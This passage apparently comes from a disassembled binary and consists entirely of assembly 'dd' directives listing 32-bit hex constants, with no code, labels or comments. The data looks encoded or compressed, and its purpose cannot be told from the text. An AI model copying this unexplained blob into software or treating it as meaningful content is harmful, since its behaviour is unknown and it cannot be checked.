		dd 0D0F520C6h, 7B790BFAh, 22AD40EDh, 3A0FA876h,	2073D435h
		dd 475E0D14h, 80FBA0A9h, 68E18889h, 66745127h, 9B292075h
		dd 37CB2D07h, 0F75B1FC6h, 0D8C47C2Fh, 880F8252h, 7A895D00h
		dd 615F0C30h, 815CC39Dh, 1C4819BDh, 50949A2Bh, 0B4808794h
		dd 0EC8004ADh, 0EFE328AEh, 50CF5D62h, 13BA7C7Dh, 971DD23h
		dd 98558DC8h, 8291D030h, 5D610077h, 78228E11h, 1771B845h
		dd 0F572C1h, 4913ED11h,	29341F8Dh, 80B2CCDh, 242ED659h
		dd 1C70166h, 2B290575h,	988AB9C1h, 1ADD5C02h, 416C62CCh
		dd 5E008B33h, 0BBDEC329h, 0E8C576D7h, 86718BEEh, 9838DF2Ch
		dd 0C9E913B7h, 0C5D2A8BDh, 0D0614E5Eh, 0B33A8DEFh, 4021D2EDh
		dd 5007276h, 660556E8h,	2DD02926h, 920709h, 0B072F2A9h
		dd 0ACD95AA4h, 0C2F95F1Fh, 0FB381293h, 0E51C724Bh, 0AEBE97CEh
		dd 65A55524h, 6F3953D5h, 0D9466903h, 92E2577Eh,	4DB01EF0h
		dd 0C69DEF4Fh, 13F8A27Eh, 51A3E7B5h, 8931E44Bh,	1E7DE25Eh
		dd 2249C7Fh, 880EFE8Ah,	0E3209BEDh, 0BC525C09h,	584B7847h
		dd 683B6BB2h, 3851CF00h, 0FFE97210h, 7F64765Bh,	7DE86284h
		dd 2095458h, 81F51DB2h,	23627112h, 0D164087h, 0CCD13782h
		dd 0DF0CC75Eh, 0C7EE44Fh, 0D79512F8h, 5A1F4951h, 0EE27AFFEh
		dd 0F10297A6h, 34DF540Dh, 0E2C1956Ah, 44EA048Ah, 8E46F0h
		dd 0C824DEB9h, 6738F42Fh, 72D9C784h, 6F578A59h,	0E95C859Fh
		dd 29DEA0E8h, 184A594h,	0BFC02F02h, 1640B0C3h, 13E9DF07h
		dd 0F855F5DEh, 65A166Dh, 0D3F78D81h, 80ED9020h,	510ED82Ch
		dd 21B45052h, 0E62838B6h, 0E246042Bh, 0DC31EFDAh, 766A678Eh
		dd 7566287Fh, 400C53BDh, 71955C62h, 87C8CE88h, 2BB51A7h
		dd 63153D0Bh, 9AC0F404h, 0B509E946h, 0B47B3E0Bh, 5F932D24h
		dd 0FD9161ABh, 68AC01D0h, 323E20F5h, 0CB6259B9h, 0EDFCE429h
		dd 5B5889F2h, 579E304Ah, 9EB80362h, 5BB5677Eh, 20ADBC57h
		dd 4528F322h, 0B6F58101h, 0B7C32DECh, 0B7D222EBh, 0C8945F5h
		dd 0C2338871h, 4ADB27BDh, 7580E270h, 0F02B5E86h, 22EC60CBh
		dd 84A8014Bh, 0EBE56B0h, 0D9D791Fh, 1B55CE01h, 2320729Bh
		dd 608417A3h, 0E9DB3080h, 45A99D7Ah, 0F186325Fh, 0DFA2A1E9h
		dd 0F1F627C4h, 68E8B67Ah, 7B7C4427h, 0ADE9891Ch, 8D42C37Eh
		dd 4C4B5E63h, 0B2414752h, 119CF22Ah, 97584487h,	158EA64Ah
		dd 2F40E2CEh, 9A6F7466h, 3746356Dh, 952073A0h, 57224890h
		dd 89729464h, 227B6C3Dh, 93CFC7A5h, 9964BA55h, 5F7D44FBh
		dd 123B1DA8h, 0A189E45Ch, 5184EF68h, 745609DFh,	0E91354CAh
		dd 0C8ADA36Eh, 7219F95Fh, 68C94095h, 8D2E5BC6h,	14763326h
		dd 707D59CAh, 0E3084591h, 0CBEF8143h, 2EEEB747h, 67A7E3A1h
		dd 4EA92282h, 0FF7197Fh, 33685B00h, 80A23F49h, 80C1FEDCh
		dd 0F64402C9h, 0E2B252D1h, 51668077h, 20E9E4B5h, 0F717B90Ah
		dd 4E0640D0h, 97A44612h, 74AFF8E5h, 0AECA163Fh,	0F8068762h
		dd 0F2479D22h, 0A253A93h, 6A2EC0BFh, 774ACC21h,	2F682A98h
		dd 0ACF15EB2h, 8C550F82h, 8FF4325Bh, 0BA071728h, 5311BF4Bh
		dd 4C5BF08Ch, 883F6C56h, 2D07ADC0h, 4BC81087h, 0A813E153h
		dd 2DD00520h, 0FDF0C252h, 0CA0747F9h, 2A7B2F11h, 825EF105h
		dd 9B6793C1h, 70D8432Dh, 4280DF92h, 4ADA38F7h, 4C4B2EFAh
		dd 866860A9h, 0AB89C35h, 6B1F0D90h, 0C704459h, 4BD86CEFh
		dd 0AD351730h, 8B2F1580h, 88531620h, 0FDD3A51Ch, 5F9E808h
		dd 0D858BE68h, 0EF4E1554h, 0A24B6BE7h, 0E28E2F2Fh, 7B2DF1F0h
		dd 9868440Bh, 2230FF6Fh, 0D7B46A31h, 1CCD963h, 64F8EE59h
		dd 7E095CBEh, 422B78D0h, 89A82005h, 2BC60124h, 97E06858h
		dd 308C947h, 1802CD1h, 18C779A1h, 7D5CEA29h, 6F22F302h
		dd 27EAFF01h, 0C8590804h, 0B840191Bh, 0F5801258h, 747B0925h
		dd 322F3078h, 0F05CC4A2h, 55E44CC4h, 0FDB0BC0h,	0CF61C785h
		dd 38676883h, 91C64D2Ch, 0BD031C42h, 1B4341A6h,	4F5A1229h
		dd 0C087B9A8h, 3C636857h, 12375B82h, 1468226Ch,	0C8AFE555h
		dd 0DECB08E2h, 5100FC26h, 0F480CCFEh, 0A820E73Bh, 6E43CC0h
		dd 268CEC9Ch, 0F1F90879h, 84C50109h, 6801D2A2h,	0A5F716CCh
		dd 2BBD48Ah, 2E7B60B7h,	534580Bh, 5847FF12h, 8B061305h
		dd 0E5D81915h, 0E30E861h, 41E748DCh, 734E0CDEh,	0A800B810h
		dd 255CF010h, 7FFB54D8h, 0F32E4D56h, 5C98849h, 570C29F5h
		dd 3FFE6822h, 549D5222h, 20259209h, 1C84C668h, 5C155B2Dh
		dd 9059251Dh, 0AD5A2B03h, 0FEDBC11Ah, 3A21212Eh, 0EFC00043h
		dd 0E6E7E602h, 0AEC70B80h, 7C0EFC30h, 0B10EC588h, 789DE6E2h
		dd 0B2D2BF3Fh, 879C4FA0h, 84607D82h, 4D00204Eh,	0FDC98160h
		dd 253C8C50h, 8761EBE9h, 0BEB9D7D1h, 720EA7CEh,	1815E87Eh
		dd 0C54BB37h
		dd 0BD0438CCh, 0EBD5E914h, 0EE59F8D2h, 0ED9E203Eh, 0C00D4BB6h
		dd 1DF583FCh, 13E4133Fh, 127DFB76h, 0BAA5D36Ch,	885B8FCBh
		dd 909551CBh, 0F4555225h, 852D12B9h, 0FCFFB03Ah, 5360EBFAh
		dd 8FAD4F0Ch, 945B671h,	1457A48Dh, 0B3A83711h, 0F8C664E1h
		dd 978E4E9Eh, 0A80053C9h, 64590E49h, 4F02BCB4h,	0C07DCD44h
		dd 40FB79Fh, 70E9D371h,	1D297A1h, 6019CF21h, 66B6F4DBh
		dd 91B464EFh, 600431ADh, 80754A6Ah, 7D7F5F2Eh, 0F61D1576h
		dd 65D33D1Eh, 0E79F7600h, 1231305Ah, 80B2E9F2h,	2C875EA1h
		dd 68E20FB6h, 819F534h,	109F3254h, 510B8FDCh, 277F5B1h
		dd 1CECA7Ch, 3334F068h,	3D2578F1h, 0FD628B71h, 0A7135638h
		dd 5C2FC591h, 1C6C101Dh, 5E00B850h, 46252D36h, 203C0954h
		dd 0C2E2D4E9h, 0B96B5760h, 1855B880h, 0F842A828h, 59165B15h
		dd 46842908h, 0E02D0812h, 0EC870843h, 0ADEE33EEh, 0B6BB008Ch
		dd 3120EF79h, 62AAE3C1h, 0A0E768DFh, 2A6897D0h,	0F0237AF1h
		dd 0B71C5E7Fh, 53E90C7Ah, 9F64393h, 0E7F38EEAh,	82340977h
		dd 561BE9C1h, 8AD9200h,	1127F92h, 0F24F00B8h, 992DF046h
		dd 52542674h, 705141Ah,	867AD84Ah, 53782613h, 5602A302h
		dd 66D6108h, 0AD8C173Eh, 0EE88485h, 61101FB8h, 0DE25E4Dh
		dd 3EE08D9Fh, 3EE02E1Ch, 8E817EDh, 13CBBCEAh, 4804284Fh
		dd 30ABC498h, 101E0B4Dh, 2324617Dh, 9943A753h, 0D73CEA6Dh
		dd 0B75CC842h, 7CF0E904h, 25A4CFABh, 51F70565h,	0FD19F581h
		dd 5AF58800h, 93E5C026h, 6149C50Eh, 0CCE942CDh,	96A8E655h
		dd 8F2DE9A8h, 0AF98FB3Eh, 0E12FD4F6h, 21AD6486h, 84288F7Eh
		dd 0F8828FE8h, 3BF9BD65h, 5ADC32C0h, 26689733h,	18BF3E41h
		dd 8254A5CBh, 0DAA4B165h, 7C4B3A00h, 4D0EE93Bh,	650A580h
		dd 3565079Fh, 85CE0114h, 0EA081FEEh, 89E912D6h,	95F825B8h
		dd 0BF30BFB1h, 988FC68h, 0DDE977AEh, 0FE2D485Ch, 728F593Ah
		dd 0EDC1DCD9h, 2BF58101h, 0C13CC1C8h, 384AE2AAh, 121DF350h
		dd 41821340h, 7A662AE9h, 20AE927Ah, 87813DC0h, 550D97BAh
		dd 68E045FCh, 0FEA83CEAh, 0B981F6B0h, 0DFA946Eh, 7E5F419Fh
		dd 903420E2h, 0E6CFFF55h, 0DFB85010h, 10E65C2Fh, 212D0357h
		dd 0E914916Dh, 74305F8h, 13AB8D5Fh, 0F64A618Eh,	125739F9h
		dd 8A8178E9h, 7DFEB068h, 9895E318h, 0C10DE382h,	0E43D7572h
		dd 7560324h, 24DDF656h,	76A980D5h, 4595EB28h, 0B5510BE7h
		dd 59CB140Fh, 9780F07Ah, 1563E987h, 0FDEF6F7h, 48C68004h
		dd 0EF608684h, 59F08962h, 1AE98BFBh, 89544B42h,	0CBE2D143h
		dd 2A2E1677h, 7A48CC0Bh, 43309A41h, 75681323h, 0D555A814h
		dd 0CCCF2F1Ch, 288DA00Ah, 12582445h, 0A474257Dh, 0BE65FFD9h
		dd 0A799EC2Eh, 0F57722F2h, 630BBBE5h, 654B7EA6h, 7D2DBCAFh
		dd 6F65EE24h, 58B9DA53h, 0F8584A80h, 38544A50h,	0E7EEE0E2h
		dd 4AB51D0Bh, 20BFA401h, 885D4E08h, 4091216Dh, 253C5008h
		dd 0D62DEF76h, 0BBD15AA6h, 0C8034628h, 0BE717463h, 310B2FCCh
		dd 0F016A182h, 23D95E09h, 37C82220h, 62CBAFE8h,	0F6A1856Fh
		dd 0D3787268h, 8BB3271Ch, 5B00D81Fh, 0B6525153h, 0E6801CCEh
		dd 4F6C9D1h, 4750A1A7h,	22D569E8h, 0A4697E50h, 6CF6EFABh
		dd 6C9B0978h, 9C2208Eh,	0FC624BD9h, 0B3D4C87h, 5E216851h
		dd 317510B2h, 0CB57BF46h, 6055010Ah, 7E29051h, 8720C30h
		dd 0F0E19C55h, 67A440BCh, 4189962h, 83D70379h, 78241010h
		dd 8E4D118h, 18C4A07Eh,	500685CFh, 0E620102Bh, 95C220EFh
		dd 31C8F020h, 4908FD85h, 61188C36h, 62A80803h, 5D88186Bh
		dd 89C20C0Eh, 7608C67Eh, 29311805h, 8F4D0823h, 3E061888h
		dd 108D860Ch, 8DA62CBh,	2903637Ah, 35203A5Ch, 62621540h
		dd 382AA10h, 810CF80h, 3B18B178h, 0F7B92057h, 0C4251280h
		dd 0F519310h, 0B08F898h, 7D21CCE8h, 0DB403A08h,	2F764071h
		dd 62684D40h, 0DD38409Ch, 44B81603h, 0C43D8471h, 4540EF9h
		dd 7406BBEBh, 40201073h, 396220EAh, 84A9831h, 1899E079h
		dd 95AC5153h, 31E03671h, 76C4A9AEh, 7CCC308Ch, 0A6631208h
		dd 2A948418h, 20F0A008h, 51319EE8h, 0B200875h, 0C8A36402h
		dd 81086CEh, 41183F3Ah,	9FE33862h, 780208C6h, 0AC4A5418h
		dd 101E6293h, 92027CC3h, 5F7F058Fh, 20EC2AE4h, 742098E5h
		dd 7FC02070h, 0B2598763h, 0CD081056h, 69C473F0h, 0CA04BA5Fh
		dd 4A460465h, 1C61B11Fh, 19370359h, 181A56E9h, 921843F3h
		dd 12020810h, 10831710h, 18103D24h, 80F12A32h, 2A103449h
		dd 7620CCC6h, 9C4354C0h, 36B0A811h, 5A67806Ah, 0CF481C8h
		dd 0EC08A3CBh, 0B07589CFh, 18AAE719h, 0EB418CB9h, 0C46D190Fh
		dd 40EFD08h, 0D70A20B7h, 0C1C898E0h, 10C6CD3Ah,	2008F8FCh
		dd 7E31ED01h, 896B205Bh, 0D9450898h, 20CAF6B4h,	668CB0B7h
		dd 6323186Bh, 65AB0849h, 0D80F1824h, 18063A8Ch,	81362A5h
		dd 38064526h, 3E7420B9h, 2069DF20h, 7A496A31h, 58402488h
		dd 877748Ch, 63F40C7h, 3924D8A8h, 923A3080h, 0AEDC402Ch
		dd 0C5C16940h, 488EF171h, 670C1D90h, 0C62B20FFh, 10CC9B61h
		dd 544DD620h, 6325C0C5h, 44321034h, 8EBE0818h, 810B3118h
		dd 6DB188BDh, 4B710873h, 10E5190Ch, 8D3626Eh, 60007814h
		dd 99E8FC9Ch, 61026A4h,	1E4857EFh, 72C78B3Ch, 27456F26h
		dd 752C4780h, 6313EB02h, 0A7B90E89h, 5003D7Ah, 408F4401h
		dd 0BC90B49h, 748BF775h, 0DE81C18Eh, 7DB9F003h,	0C0331E74h
		dd 4FB10F03h, 0AC2C0930h, 21D63F04h, 693AE970h,	65DA1011h
		dd 305BBB51h, 0B1DACBAh, 0EB810F51h, 309C191Eh,	692A52Ah
		dd 14801C08h, 30D8F57h,	9245F9E9h, 3830067Eh, 2C2D5250h
		dd 3453166Ah, 0EA0A633Ch, 2783EE08h, 0E9E7EB51h, 55BD07B4h
		dd 680CE019h, 81E36E5Ah, 817EDC0h, 0CC12A42h, 3CF20A7Ch
		dd 0ADB9057Fh, 0AA1307EFh, 216A031Bh, 971CD3D7h, 0BFEA1B28h
		dd 0C0D9432h, 28EB4130h, 0C2AFA06Bh, 0E9E908A1h, 538A9D4Ch
		dd 0D234268Eh, 57D463EEh, 939568E1h, 1CAB0956h,	67B0C2D6h
		dd 84073F8h, 0C83E5F64h, 66F70270h, 0E042E372h,	5123D90h
		dd 9EE93419h, 3D67EFA4h, 0D624CCBBh, 8915B473h,	7CE16570h
		dd 330CD6A2h, 5EF71637h, 9D794014h, 21832F0Ah, 3BCD83B5h
		dd 0D240DA2h, 0D4141730h, 93007FD0h, 18782D03h,	97487DB8h
		dd 0E8E3A8DAh, 0C097D020h, 4A64E975h, 0F767AAA0h, 0A07B9BB2h
		dd 2841F1ABh, 0CC084BA0h, 0A501F37Fh, 68386203h, 0A7760DE2h
		dd 10AAD518h, 0D83CB353h, 43DD9751h, 875EC8B3h,	1596C2A6h
		dd 80C3DD0Eh, 0D9508FC3h, 16AFE6BDh, 420B2658h,	8760C408h
		dd 577B8CF3h, 0F055CFB9h, 0E3A01CBAh, 6F1341BDh, 40F86E68h
		dd 2B6C5C0Bh, 0D849867Eh, 0FE492557h, 0DEE65BDEh, 0E0E82090h
		dd 80BF5700h, 213FE411h, 0BA67B5FAh, 9C3ABF81h,	3120ED95h
		dd 376A1472h, 0A4C0113Dh, 0E96CD410h, 0F7C2E25Fh, 3102D65Dh
		dd 0ADA9D972h, 6301D1D2h, 0D67B0BEFh, 7DBDCB03h, 97555742h
		dd 9065A9DEh, 1F1CEA57h, 0CEDA87Ch, 0BF1846D2h,	18A7741Fh
		dd 0C0FC71E7h, 7FFBB951h, 1E23FC3Eh, 7712A3C1h,	0B440CDFCh
		dd 7A276864h, 0AB303A3h, 6A001197h, 0E43DEF56h,	0DB25B5E9h
		dd 9CC1ED22h, 0B95A82D9h, 0D7AD47CEh, 66292200h, 89241933h
		dd 0F301A3CBh, 51D51BDDh, 1675016Eh, 2F38B1E3h,	8B0226E5h
		dd 42027D5Dh, 0C6AE9B2Ah
		dd 8CE056DDh, 0BA9AA089h, 0C68EE0B5h, 0AFB63B52h, 0E8014F75h
		dd 0F88C4FB3h, 320A19FCh, 6A13B639h, 3C4148Ah, 200BD946h
		dd 0B905084h, 0B95E4709h, 19665D4Bh, 6087FA25h,	13C8F7D8h
		dd 1ED51AA0h, 2D03E04Dh, 30517826h, 0A6BAB048h,	0C8DA4999h
		dd 0DFCDE90Ch, 0EB248026h, 0D75A0493h, 4075CE6Ah, 125150A4h
		dd 0FB8805B1h, 7E8C800h, 25E9D0F6h, 0A8F60399h,	7F792562h
		dd 0C21C0F94h, 0C304F858h, 8FEAD709h, 30EA6001h, 0B048EE7Ch
		dd 35721288h, 0F94A048Bh, 0C7CC133Ch, 8759BD56h, 59CA8904h
		dd 40620B88h, 0D94B01E6h, 0E9F006F8h, 45816C4Dh, 0BD7D9AD8h
		dd 52FC7C20h, 37B65F2Bh, 7D6E714Dh, 0B13482Ah, 5FAC0E67h
		dd 0A1CAAC6Fh, 4A7090E3h, 579A33Dh, 39E16B3Ch, 0D05DED1Fh
		dd 0A066E9C4h, 0EB54D8EFh, 0F20920Bh, 2C967021h, 869D3A88h
		dd 225E5FFBh, 0DD39AE16h, 44E6AC05h, 0A30B6501h, 1F6B8F93h
		dd 0B3A5BCFFh, 78624A5Ch, 0F0D6AD2h, 75AA3281h,	0C920AFF6h
		dd 9A20E1E9h, 5254EC8Fh, 0F940BB4Fh, 0ED688176h, 258C6E7Eh
		dd 0C6FEEAEFh, 2FFCB7Ah, 5EAC10Ah, 4C04A342h, 0FB3BAFh
		dd 0D268C79Dh, 7897011Dh, 0E90880DDh, 9C254FC0h, 0E8C85194h
		dd 3CD2254Eh, 4B6ECA06h, 45C36E3h, 0E10A2FDAh, 0A6D0BE52h
		dd 845F1B29h, 5DB40FD7h, 23C54D3Bh, 0E1510601h,	69B76871h
		dd 51E17ABh, 38E58054h,	31FB4AD3h, 3FAA79E0h, 0BD4A168Eh
		dd 9624873h, 0DDC567EBh, 21F03E00h, 29347639h, 80290D1h
		dd 0C0F9015Ah, 34E95E9h, 0E94811EFh, 9E70D5Dh, 3576C75Fh
		dd 249EF34h, 694BF15Ch,	88E4185Fh, 1AD12C5Bh, 1554110Ch
		dd 0CB5FFE01h, 59AAB087h, 10014823h, 0D212C190h, 0C42737D3h
		dd 0A16DFD14h, 42FD1F6h, 0C243E965h, 8977363Ah,	0DEA20E05h
		dd 0DB72CEC9h, 2A3C2A06h, 7933DB38h, 316B375Eh,	0C4823B8Ah
		dd 0E72EDC32h, 6775AA1Fh, 0A9D7B1B8h, 69FF96BDh, 0F2F22AA8h
		dd 920EC4Ch, 605A83A9h,	0F96BA64Eh, 0D075542Ah,	0C8A9D7B3h
		dd 411FDCFBh, 1C050EC0h, 5B3D2B0Fh, 0AD8D345Fh,	72DB859Fh
		dd 9DC9A8E8h, 0E9794EA9h, 12EBD80Ch, 0EF7570B3h, 4871B036h
		dd 1E29EFDCh, 0CA2C40BCh, 0B5745153h, 2861B709h, 4603D5EFh
		dd 0B9184C58h, 0FD7D82EEh, 1320F95Fh, 7064163Dh, 0C96C1D05h
		dd 0E943204h, 564E5D14h, 9F018499h, 4E798AAAh, 0B118C8B6h
		dd 4979EF85h, 7AF4EF72h, 0B2E3064Fh, 0C254D18Fh, 4096BE40h
		dd 88295B12h, 243C43CEh, 58583DF3h, 133F49E9h, 0BDBB5300h
		dd 971C56Eh, 0F237DE7Dh, 5DB02635h, 3EA44519h, 333FF529h
		dd 89BE18E0h, 665EE056h, 0F80B32C4h, 3706F7C4h,	948638Dh
		dd 439540BAh, 4D602174h, 0CE77D80Ch, 5D52F6BCh,	3BA1B023h
		dd 0A30AA68Ah, 0FBC0031Fh, 0C308962Ch, 0FF8D9058h, 889B0683h
		dd 0E4725BD9h, 0C828F60Eh, 38BE9C2Ch, 71054A59h, 23ACD666h
		dd 340323A1h, 5497EF19h, 77815A52h, 2F73C268h, 0F0C0F2CCh
		dd 0BE413E2Fh, 81E90BE1h, 0A827740Eh, 1B0F2212h, 5EB4C0E0h
		dd 78D2F2F5h, 1029B732h, 4A958E5Eh, 0CC9699C6h,	0AE4E30ECh
		dd 0F65AFA2Ah, 0E9D70708h, 335A509Eh, 2B583F8Dh, 0FD51C3F8h
		dd 2D537E4Ch, 0D476B9B7h, 214E840Ch, 0DE470FC5h, 156BAF96h
		dd 8925A4h, 9D7075BAh, 0E2C1166Eh, 0E1E0106h, 3034AD02h
		dd 0D39DC504h, 8BC825BCh, 1ACBD1BDh, 6BBC5159h,	0C0D89F3h
		dd 0E1057232h, 0A5966582h, 60BEE7BAh, 533C2C04h, 0D3F7131Fh
		dd 0BE13EB52h, 43836115h, 7DBC4EA0h, 3CBD3ABDh,	6967C1B4h
		dd 0C5A12C6Fh, 0B7444152h, 7AC202C7h, 12F4533h,	0CD685247h
		dd 5A13E47Dh, 411FE2FCh, 0B6242514h, 0A6CBDA1Fh, 2135053Eh
		dd 568B19F3h, 838CF1DCh, 9057247h, 304E1734h, 5098D496h
		dd 1368D80Eh, 0D6DD1406h, 220E3B05h, 3062FE80h,	2EE9E45Eh
		dd 0C0B239FCh, 5C47A103h, 30D27A97h, 4209E72h, 369E5A6Ah
		dd 0B2D36850h, 0F316B5FDh, 41B59480h, 3025FA9Dh, 0B9C0427Bh
		dd 44EE17EFh, 0E64828F4h, 5F21B1CAh, 7E6ACD7Eh,	55A7198Ch
		dd 0AD2B0EFDh, 8B68C420h, 0D79E98A9h, 87F22B3h,	0F20282E4h
		dd 4BAAA53Bh, 0AD5DC31h, 8E5D101Bh, 0CB4FD188h,	0ABFED484h
		dd 0CB4FF8B6h, 68518148h, 0B22E0F32h, 0F1598BF1h, 24D1A824h
		dd 0A6A0D83Eh, 37F70095h, 0CF876260h, 2406416Fh, 53C54FD7h
		dd 84FAF384h, 34AC8740h, 60F3D9CAh, 5881C336h, 3A54DD2Eh
		dd 0E9575EC0h, 72059DFFh, 4BF18F2Dh, 0C1E724BEh, 4D3E7511h
		dd 0E26B24BBh, 9D14D06Ah, 4ED6E9F0h, 4312442Eh,	767B1416h
		dd 0E09A35ABh, 26744741h, 187E005Ah, 0EA810216h, 2C9F0115h
		dd 0E9D13193h, 5918744Dh, 0B47A82BFh, 9546A3Bh,	98C37689h
		dd 87B891CCh, 22056671h, 25E912Dh, 97EEDD0Eh, 0F677260Bh
		dd 5E08A04Ch, 0A1229858h, 0F99D665Eh, 14EBEFh, 7710BA74h
		dd 0DAF75BA7h, 3EEAD13Fh, 0A24DA9Ah, 0C040E499h, 0A08D0A31h
		dd 0ECBBF2E6h, 0A07F5ECDh, 673071B1h, 5FF70C14h, 20E1B89Bh
		dd 334F21D7h, 4BD2DBF2h, 54A170Dh, 1AD980D7h, 19608A1Ch
		dd 0B175F268h, 29C12B47h, 9B265A54h, 24F8AF41h,	0ED84B06Dh
		dd 801D231h, 0C13C535Dh, 9FE9DAC2h, 0E097A958h,	1FF50D79h
		dd 4A36DC73h, 0A54B8945h, 0D86F30A2h, 23C4D2D6h, 1818FA0h
		dd 0FD5F1DEBh, 21F3295Dh, 2608067Ch, 59FC059Fh,	0C680C760h
		dd 70C5E63Dh, 75F5785Bh, 0A85A4FEDh, 5650E098h,	89C79668h
		dd 2CA5BFE9h, 0FF279C52h, 32911F04h, 3880EBC1h,	633497C3h
		dd 5FE90251h, 6895D95Ch, 79039A06h, 4F7D3963h, 1E2B580Ch
		dd 0E725E9D0h, 0EFC3D666h, 0BDB14C65h, 816C25BEh, 5A966834h
		dd 0B6B785C3h, 209CE14Bh, 7C58990Dh, 6D51815Ch,	0EFEC6EFDh
		dd 2D43C2EAh, 23C0D503h, 0ADA807A6h, 1D02BCEDh,	37686A6Ch
		dd 9AC4C08h, 1E657911h,	27744600h, 0FBA32890h, 0FEC45F99h
		dd 0A7245DF6h, 4B0C73BEh, 74171F74h, 0B660C102h, 54EE2851h
		dd 9E3CFBB9h, 0AAC2D68h, 0D1257445h, 1C3012BEh,	177EEED5h
		dd 0B07284AFh, 72F0687Bh, 0E108E39Bh, 0F1BF037Dh, 29B97092h
		dd 0A112F0FDh, 7DBD6A96h, 2D54F701h, 5C461E3h, 2D67EED4h
		dd 0DD20E21h, 5BD80888h, 67BF59B5h, 532A23BFh, 914987FCh
		dd 3CB299F9h, 27967321h, 0B0565C9h, 0A17DC331h,	628A68CCh
		dd 39BF84C3h, 0BCA17E82h, 0E9C2C022h, 0DC58488Bh, 5DD9182h
		dd 0E2E85586h, 0F3406C05h, 184F173h, 25AEE907h,	9AE03BF1h
		dd 9621E359h, 0F776A03Fh, 749DD94Ch, 51EA40E7h,	9F4E7E0Dh
		dd 0F3F0FDA1h, 0C787C079h, 8797B8B4h, 0BA52F3C0h, 90CF1F19h
		dd 1DF23413h, 53E8800Dh, 0AF80013Ah, 0F574AA12h, 88EB3782h
		dd 80038319h, 0F9C05FC9h, 20CBD807h, 0DE88522Dh, 0D31F3A72h
		dd 5E38F5Ah, 3782EBC9h,	66C85D71h, 0C3072D48h, 8901622Eh
		dd 32D33F5Fh, 0D9538E53h, 0A0B705F2h, 8F468EE3h, 40BF0E50h
		dd 563E6B0Ah, 50138421h, 0D2CEACh, 88051493h, 0F739452Dh
		dd 0EADC8DDh, 72729D6Fh, 6B5F80AFh, 1C3F950Eh, 7F1A859h
		dd 40805D60h, 26DCD5BDh, 5850C889h, 2B547D68h, 0B24AAEF9h
		dd 41F08C29h, 0E988B654h, 89F1D763h, 0EB84C352h, 67A5483Ch
		dd 64C31692h, 1740FFA0h, 1B0FC5EAh, 4FDBF639h, 18F1A6E3h
		dd 0C3715163h, 2F581370h, 67D50313h, 0E9F86838h, 0BBA3226Dh
		dd 87C2E205h, 8682E512h, 0D79661CAh, 767977C2h,	481AE9E1h
		dd 0EC016339h, 2D0D6256h
		dd 8B0BACEAh, 52A6F4CBh, 3E174941h, 8B5EB0E7h, 19A65698h
		dd 68B14C2Eh, 347F7BF7h, 0DC0A9833h, 54B65B70h,	630E905h
		dd 82C12671h, 0C9DE222Dh, 5EAB3550h, 87110EF7h,	0C7B5F65Dh
		dd 0E040ECC4h, 4C68AD66h, 0BD92B163h, 3953BF0Fh, 0F39347CEh
		dd 681F7DB5h, 44675BF3h, 0D7E09F95h, 60672EEDh,	5154F50Ah
		dd 0C4AC3644h, 8042A01Bh, 825EE75h, 35B772F1h, 12A24930h
		dd 2EBB9D84h, 2568ADE0h, 71985FC0h, 1991F187h, 15110802h
		dd 0B592881Eh, 5B010820h, 71B6BE56h, 976067DEh,	68524036h
		dd 1A492427h, 0C1B41899h, 6845A058h, 813C58EBh,	230078E6h
		dd 16DD36Fh, 5FE955F2h,	0C06200F8h, 0F68008EEh,	0F5304400h
		dd 53CDFE5Ah, 5A337BB3h, 8A2686C3h, 7517DD5Ch, 0E64C5B7Eh
		dd 73C0382Ch, 0FA6426DDh, 45D8880Eh, 33BE58C6h,	0E6F90246h
		dd 0BA649304h, 26D83BFDh, 0F14B8851h, 0E30F1206h, 0A2C09F7h
		dd 0DB68699Dh, 5B822795h, 1652E931h, 0FFBEF930h, 2525C3EDh
		dd 385A2085h, 57E90880h, 6570E2B5h, 38DFA560h, 1FEDBD07h
		dd 202907h, 956AB2CDh, 1C904D25h, 0AE3E4405h, 0E844524h
		dd 723173F0h, 4D351DAh,	0C0CDF420h, 6BA7B81Ah, 214E55E5h
		dd 0C85A01EAh, 3F1AE234h, 0B908797h, 95193618h,	74EAC0F8h
		dd 4EDD0348h, 24C629BFh, 41656D54h, 0D10CF313h,	0FA400692h
		dd 9F2D5035h, 1755EA48h, 0BF1EED5Ch, 627EC109h,	761257D7h
		dd 9C89497Ch, 0A236773Eh, 4012794Ah, 97AA04FEh,	2B7DF505h
		dd 0F65F66DAh, 32BA9751h, 0ADFCCDE5h, 5E7EF6A5h, 64C12382h
		dd 81D8486Fh, 0B9AE0B2Eh, 280DC008h, 1FACC91Eh,	44E1C8E6h
		dd 6CE51F6Ah, 967D4900h, 0F20F48FFh, 0BD48B415h, 0C950958Bh
		dd 0E9D05BBFh, 0E912A9C6h, 70FFCAE4h, 0CB685A9Bh, 0D8DA465Ch
		dd 41F0E952h, 7BE20A9h,	39E5395h, 383BE950h, 0FF2DBA1Ah
		dd 8D4B6103h, 0BA001A79h, 4F6FAA14h, 0D11FCF81h, 34241745h
		dd 0CE2ECD00h, 0B0FD893Fh, 25B1B686h, 5DD07BDEh, 0D3BB057h
		dd 2C8A4565h, 106FE34h,	58232042h, 0BFF52924h, 1A4F0607h
		dd 25BC2Fh, 616846A1h, 0DA18B71Dh, 0DE8A7D80h, 835E1829h
		dd 2C6808E9h, 5358AEDAh, 1E8201BBh, 3AE908F3h, 0FE168070h
		dd 50D6F6CEh, 0CA902B0h, 89B34B3h, 0F17022FCh, 0DA77824Ah
		dd 7BAB099h, 308EB7B1h,	0A8A2C4E7h, 0D7F702A1h,	0D704EFC1h
		dd 0F67B5DCCh, 31B08504h, 0C0AB5AD7h, 0E95B5581h, 0BBECE72Eh
		dd 0D42593A4h, 30BC091Eh, 94F2965Fh, 0A0691292h, 164C2CE4h
		dd 0E3024FD3h, 59C6895Ah, 0EA4A8E0h, 0D4438B0h,	1874F6C1h
		dd 0C32C373h, 775FAC8Ah, 462417E0h, 0BB5E1000h,	65728DA2h
		dd 51009729h, 0D518FE3h, 0E9524205h, 84444F9Ah,	37FEEE2Fh
		dd 0C251E3B1h, 0DFF1C4Ah, 30231EA3h, 55184D2Dh,	0F76C7BA7h
		dd 46382E59h, 8B2A1EE0h, 0E30031AAh, 0CBDC42A9h, 2347E97h
		dd 0FF92E9D0h, 8A6A56FEh, 68152042h, 64EE24h, 56B070D5h
		dd 0C12D5E5Bh, 7CD72413h, 34289CC1h, 69136800h,	0DD7A172Ch
		dd 2115A418h, 80C3B147h, 7923BA52h, 82957539h, 89A60F05h
		dd 0E84D589h, 57AB856h,	4DD8382Ah, 68093CFCh, 0C5197D05h
